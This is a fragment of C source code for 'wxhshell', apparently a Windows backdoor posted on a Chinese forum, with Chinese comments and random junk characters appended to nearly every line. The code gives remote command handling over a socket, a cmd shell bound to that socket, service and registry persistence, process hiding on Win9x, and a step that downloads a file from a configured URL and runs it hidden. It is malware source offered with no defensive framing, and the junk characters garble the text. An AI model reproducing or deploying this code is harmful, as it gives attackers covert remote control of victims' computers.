  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <(!~s><.  
  } 8I}ATc  
  else { .rw a=IW  
o5E5s9n  
    switch(cmd[0]) { GI<3L K\  
  aD&4C -,1  
  // 帮助 /;5/7Bvj  
  case '?': { oO3X>y{gN  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .iV-Y*3<  
    break; ]@I>OcH  
  } s$JO3-)  
  // 安装 {/|tVc63  
  case 'i': { ;=UkTn}N?l  
    if(Install()) dEI]|i r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hcqg94R#_  
    else c Cx_tGR"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); { .j030Q  
    break; ]IclA6  
    } cGSG}m@B`  
  // 卸载 o zMn8@R  
  case 'r': { fB)S:f|  
    if(Uninstall()) 7Y%Si5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K0{ ,*>C  
    else n%ypxY0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -l~+cI\2  
    break; P8X59^cJ  
    } 7<*,O&![|  
  // 显示 wxhshell 所在路径 ]&?8l:3-G  
  case 'p': { I&%KOe0  
    char svExeFile[MAX_PATH]; Eb7GiRT#  
    strcpy(svExeFile,"\n\r"); "$nff=]  
      strcat(svExeFile,ExeFile); =D`:2k~ ,  
        send(wsh,svExeFile,strlen(svExeFile),0); U+Vb#U7;  
    break; >|pN4FS  
    } a0jzt!ci  
  // 重启 `)tIXMn  
  case 'b': {  \62!{  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); p=[SDk`  
    if(Boot(REBOOT)) tH(g;flO)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cl'wQ1<:   
    else { 'si{6t|  
    closesocket(wsh); ,B:r^(}0j  
    ExitThread(0); 2BO&OX|X  
    } vawS5b;  
    break; _/J`v`}G  
    } 3=("vR`!  
  // 关机 n}dLfg *  
  case 'd': { R:`)*=rL%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +xuj]J  
    if(Boot(SHUTDOWN)) ! mZWd'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t 2,?+q$x  
    else { e8eNef L$  
    closesocket(wsh); < w;49 0g  
    ExitThread(0); P}"T 3u\N  
    } (sSGJS'X  
    break; E5IS<.  
    } 61}eB/;7  
  // 获取shell t pa<)\7KJ  
  case 's': { X G E.*aI  
    CmdShell(wsh); :W9a t  
    closesocket(wsh); Ri>ZupQ6  
    ExitThread(0); 3 TRG] 5  
    break; &Z(6i}f,Gp  
  } t[/APm-k~>  
  // 退出 :eH\9$F`x;  
  case 'x': { YH&q5W,KX  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !ou;yE&<,  
    CloseIt(wsh); tC5>K9Ed  
    break; (W.G&VSn)  
    } 4N5\sdi  
  // 离开 /@1pm/>ZaN  
  case 'q': { Fd#Zu.Np  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); VV/aec8  
    closesocket(wsh); 4+Jf!ovS=  
    WSACleanup(); 1/v#Z#3[  
    exit(1); V0G[f}tm'  
    break; r)Ja\ ;  
        } Y(Y#H$w  
  } ]QQeUxi  
  } FzAzAl 5  
,Fn-SrB:  
  // 提示信息 ?aguAqG$  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;?y~ h$  
} #itZ~tol  
  } =imJ0V~RW  
_:%i6c*"  
  return; ^mouWw)a_  
} C%|m[,Gx  
}lP`3e  
// shell模块句柄 _Nh`-R%B)  
int CmdShell(SOCKET sock) iqFC~].)  
{ KV! (   
STARTUPINFO si; Q\}Ck+d` a  
ZeroMemory(&si,sizeof(si)); =y=MljEX  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &(m01  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *;F:6p4_  
PROCESS_INFORMATION ProcessInfo; Yq'D-$@  
char cmdline[]="cmd"; #8$" 84&N.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); O=jzz&E+  
  return 0; 4HpKKhv"  
} K'y|_XsBB)  
@aP1[(m  
// 自身启动模式 :%h|i&B  
int StartFromService(void) \}!/z]u  
{ aMGyV"6(-6  
typedef struct HM#|&_gV  
{ 0 Bk-)z|V  
  DWORD ExitStatus; viJP6fh  
  DWORD PebBaseAddress; i.^:xZ  
  DWORD AffinityMask; P-DW@drxF  
  DWORD BasePriority; Tv9\` F[  
  ULONG UniqueProcessId; K)^8 :nt  
  ULONG InheritedFromUniqueProcessId; p(fMM :  
}   PROCESS_BASIC_INFORMATION; 5}b) W>3@`  
PsZ>L  
PROCNTQSIP NtQueryInformationProcess; g@.e%  
99"8d^{z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; GE? \Vm  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `lrNH]B  
r]U8WM3r  
  HANDLE             hProcess; HBZ6Pj  
  PROCESS_BASIC_INFORMATION pbi; x<7?  
;#^ o5ht  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); r`pf%9k  
  if(NULL == hInst ) return 0; X]o"vx%C  
'2UQN7@d  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 06?d#{?M1o  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); bz1AmNZG  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); qt6@]Y  
[NV/*>"j&  
  if (!NtQueryInformationProcess) return 0; j<R&?*  
>WLHw!I!6  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); nFWiS~(#sW  
  if(!hProcess) return 0; V9Dq<y-y  
2qQ;U?:q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !N!AO(Z  
)Cat$)I#,  
  CloseHandle(hProcess); 13*S<\  
D]5j?X'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); u\"/EaQ{  
if(hProcess==NULL) return 0; `2]TPaWGh  
/} h"f5  
HMODULE hMod; @>8 {J6%\  
char procName[255]; xSDTO$U8%  
unsigned long cbNeeded; Z:^ S-h  
2H`>Kj  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3d,:,f|h  
#hk5z;J5  
  CloseHandle(hProcess); Q3Y(K\  
dkqyn"^  
if(strstr(procName,"services")) return 1; // 以服务启动 c?KIHZ0  
#<s"?Y%-  
  return 0; // 注册表启动 3`)ej`  
} G&t|aY-   
7#SfuZ0@  
// 主模块 x&"P^gh)  
int StartWxhshell(LPSTR lpCmdLine) p/G9P +?  
{ 5m;BL+>YE  
  SOCKET wsl; GDb V y)&  
BOOL val=TRUE; 6G}4KGQc  
  int port=0; 73nM9  
  struct sockaddr_in door; `sg W0Uf  
^ 8YBW<9  
  if(wscfg.ws_autoins) Install(); ))nTd=  
IM,4Si2  
port=atoi(lpCmdLine); +1@'2w{  
; .b^&h  
if(port<=0) port=wscfg.ws_port; &aa3BgxyE  
-%Rbd0gVH\  
  WSADATA data; awjAv8tPO!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }Oqt=Wm  
kB%.i%9\\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   }8s&~f H  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _g-0"a{-  
  door.sin_family = AF_INET; ~N7;. 3 7  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); AX{7].)F  
  door.sin_port = htons(port); U9*< dR  
&0H_W xKeB  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;*ni%|K  
closesocket(wsl); Wyow MFp  
return 1; 7#Uzz"^  
} E25w^x2  
P,(_y8  
  if(listen(wsl,2) == INVALID_SOCKET) { g++-v HD  
closesocket(wsl); EEo I|  
return 1; _%23L|  
} Mz86bb^J  
  Wxhshell(wsl); VvT7v]  
  WSACleanup(); F,Ve,7kh  
_Vf>>tuW  
return 0; #?,"/Btq  
8EX?/33$  
} 3g5r}Ug  
0Wc_m;  
// 以NT服务方式启动 2m} bddS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) e,Y<$kPV  
{ .}uri1k"@k  
DWORD   status = 0; Y9&na&vY?  
  DWORD   specificError = 0xfffffff; x34GRe!!  
B|8|f(tsSa  
  serviceStatus.dwServiceType     = SERVICE_WIN32; /{[p?7x>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; q~Al[`K  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; FMhuCl2  
  serviceStatus.dwWin32ExitCode     = 0; )heHERbJ  
  serviceStatus.dwServiceSpecificExitCode = 0; ,}"jiGgS4  
  serviceStatus.dwCheckPoint       = 0; @ &Od1X  
  serviceStatus.dwWaitHint       = 0;  q*C-DiV  
YU!s;h  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); cSNeWJKA6  
  if (hServiceStatusHandle==0) return; 4i5b.b U$  
|sl^4'Ghc  
status = GetLastError(); 3+vVdvu%  
  if (status!=NO_ERROR)  rvK%m_r  
{ 8j :=D!S  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; CS5[E-%}T=  
    serviceStatus.dwCheckPoint       = 0; -WR<tkK  
    serviceStatus.dwWaitHint       = 0; 2;J\Z=7  
    serviceStatus.dwWin32ExitCode     = status; 6V}xgfB  
    serviceStatus.dwServiceSpecificExitCode = specificError; EJQT\c  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); SJlE!MK  
    return; W-Vc6cq  
  } K5t.OAA:  
E7_OI7C  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; '#e T  
  serviceStatus.dwCheckPoint       = 0; {E7STLQ_%  
  serviceStatus.dwWaitHint       = 0;  qmenj  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); LR\8M(rtvH  
} pd & HC  
R@/"B?`(f  
// 处理NT服务事件,比如:启动、停止 >3&V"^r(|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) e&Q w\Ze  
{ WwWCN N~}  
switch(fdwControl) D*?LcxX  
{ G;/l[mvh,  
case SERVICE_CONTROL_STOP:  M%W#0  
  serviceStatus.dwWin32ExitCode = 0; 7s!rer>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; AT1{D!b  
  serviceStatus.dwCheckPoint   = 0; ;:+2.//  
  serviceStatus.dwWaitHint     = 0; n}fV$qu  
  { yy&L&v'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K5\l (BB  
  } UO!} 0'  
  return; e$JCak=  
case SERVICE_CONTROL_PAUSE: zr_L V_e  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &A`,hF8  
  break;  Y(2Z<d  
case SERVICE_CONTROL_CONTINUE: Jf\`?g3#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; (0.JoeA`y  
  break; R*XZPzg%  
case SERVICE_CONTROL_INTERROGATE: yF%e)6  
  break; Q<ia  
}; E*fa&G~s )  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pjFj{  
} @Y>PtA&w*  
0vBQzM Q  
// 标准应用程序主函数 H*P+>j&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Zk>m!F>,p  
{ a/3'!}&e  
t~nW&]E  
// 获取操作系统版本 %+;l|Z{Uf  
OsIsNt=GetOsVer(); 5,V*aP  
GetModuleFileName(NULL,ExeFile,MAX_PATH); "r3h+(5  
3bjCa\ "  
  // 从命令行安装 2V u?Y  
  if(strpbrk(lpCmdLine,"iI")) Install(); fX6pW%Q'6  
m\bmBK"I  
  // 下载执行文件  H{Lt,#  
if(wscfg.ws_downexe) { ?4Fev_5m  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5p5"3m;M7  
  WinExec(wscfg.ws_filenam,SW_HIDE); apgKC;  
} -1`}|t;  
_#+l?\u  
if(!OsIsNt) { 1uR@ZK  
// 如果时win9x,隐藏进程并且设置为注册表启动 3d7A/7S  
HideProc(); TXS`ey  
StartWxhshell(lpCmdLine); 3>73s}3  
} L~by`q N_  
else jG)66E*"  
  if(StartFromService()) Y9vVi]4  
  // 以服务方式启动 *yo'Nqu  
  StartServiceCtrlDispatcher(DispatchTable); -yg;,nCg  
else  yOvV"x]  
  // 普通方式启动 DIWyv-  
  StartWxhshell(lpCmdLine); ,j\uvi(Y  
v0tFU!Q%  
return 0; dLwP7#r  
}
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只看该作者 1 发表于: 2006-10-10
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